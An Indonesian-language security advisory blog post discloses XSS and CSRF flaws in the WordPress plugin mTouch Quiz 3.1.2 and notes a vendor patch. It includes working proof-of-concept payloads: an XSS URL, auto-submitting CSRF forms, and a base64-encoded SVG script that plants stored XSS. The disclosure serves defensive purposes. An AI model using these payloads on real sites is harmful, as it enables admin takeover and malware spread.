tapi tahukah anda, banyak yang bilang tak ada keamanan sistem yang sempurna, karena yang menciptakan keamanan sistem adalah manusia yang jauh dari kata sempurna. Begitu Juga dengan plugins yang satu ini yang memiliki beberapa celah.
Plugins Review:
Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting
1. #1 Reflected XSS on Quiz Manage
Pada bagian parameter "quiz" itu cookie tidak di bersihkan sehingga memungkinkan hacker untuk memanipulasi URL dengan beberapa Query.
Proof-of-concept: /wp-admin/edit.php?page=mtouch-quiz%2Fquiz_form.php&quiz=1"><h1>XSS</h1>&action=edit
Lihatlah pada akhir halaman, dimana anda menemukan injeksi HTML.
<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>
2. CSRF on General Options
Pada Plugin Pilihan umum tidak memiliki token keamanan (seperti wp_nonce) untuk mencegah serangan CSRF.
Kita ambil contoh:
<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST"><input type="hidden" name="mtq_hidden" value="Y" /><input type="hidden" name="left_delimiter" value="\(\displaystyle{" /><input type="hidden" name="right_delimiter" value="}\)" /><input type="hidden" name="showalerts" value="1" /><input type="hidden" name="show_support" value="1" /></form> <script> document.dsopas.submit(); </script>Jika admin Mengkonfirmasi mengunjungi halaman ini dengan kode HTML ini pengaturan nya akan berubah.
3. Add a question using CSRF and get a persistent XSS.
Ini adalah masalah penting. Jika admin mengkonfirmasi mengunjungi halaman dengan HTML ini, ia akan menambahkan pertanyaan dengan vektor XSS (di saya bukti-konsep dapat mendorong teks).
Jika Seorang pengguna yang jahat bisa menggunakan celah ini untuk menyebarkan malware, mengambil alih akun admin, dll ...
<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST"><input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' /><input type="hidden" name="correct_answer[]" value="1" /><input type="hidden" name="answer[]" value="test1" /><input type="hidden" name="hint[]" value="hint1" /><input type="hidden" name="enclose_latex[]" value="2" /><input type="hidden" name="answer[]" value="test2" /><input type="hidden" name="enclose_latex[]" value="2" /><input type="hidden" name="hint[]" value="hint2" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="explanation" value="<h1>xss</h1>" /><input type="hidden" name="point_value" value="100" /><input type="hidden" name="quiz" value="1" /><input type="hidden" name="question" value="" /><input type="hidden" name="user_ID" value="1" /><input type="hidden" name="action" value="new" /><input type="hidden" name="submit" value="Save" /></form> <script> document.dsopas.submit(); </script><form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST"><input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' /><input type="hidden" name="correct_answer[]" value="1" /><input type="hidden" name="answer[]" value="test1" /><input type="hidden" name="hint[]" value="hint1" /><input type="hidden" name="enclose_latex[]" value="2" /><input type="hidden" name="answer[]" value="test2" /><input type="hidden" name="enclose_latex[]" value="2" /><input type="hidden" name="hint[]" value="hint2" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="answer[]" value="" /><input type="hidden" name="hint[]" value="" /><input type="hidden" name="explanation" value="<h1>xss</h1>" /><input type="hidden" name="point_value" value="100" /><input type="hidden" name="quiz" value="1" /><input type="hidden" name="question" value="" /><input type="hidden" name="user_ID" value="1" /><input type="hidden" name="action" value="new" /><input type="hidden" name="submit" value="Save" /></form> <script> document.dsopas.submit(); </script>
4. Quiz Name XSS
Ini adalah masalah kecil tetapi jika tingkat pengguna lain memiliki akses ke sini, ia bisa mengubah nama kuis untuk vektor XSS dan mendapatkan XSS ke tingkat yang lebih.
Solusi:
Vendor telah meluncurkan versi patch - 3.1.3. Juga dia cukup untuk menempatkan hal ini di dalam changelog.
Nah, Apakah Anda memakai plugins tersebut ?.
Tetap lah Waspada atas keamanan website anda. Jadi kan Website sebagai Aset penting anda dalam mengelola penghasilan anda.
Referensi: https://wpvulndb.com/vulnerabilities/8355
Bungker.co.id - Website Security Team
Post a Comment
terima kasih pencerahannya
Sama Sama...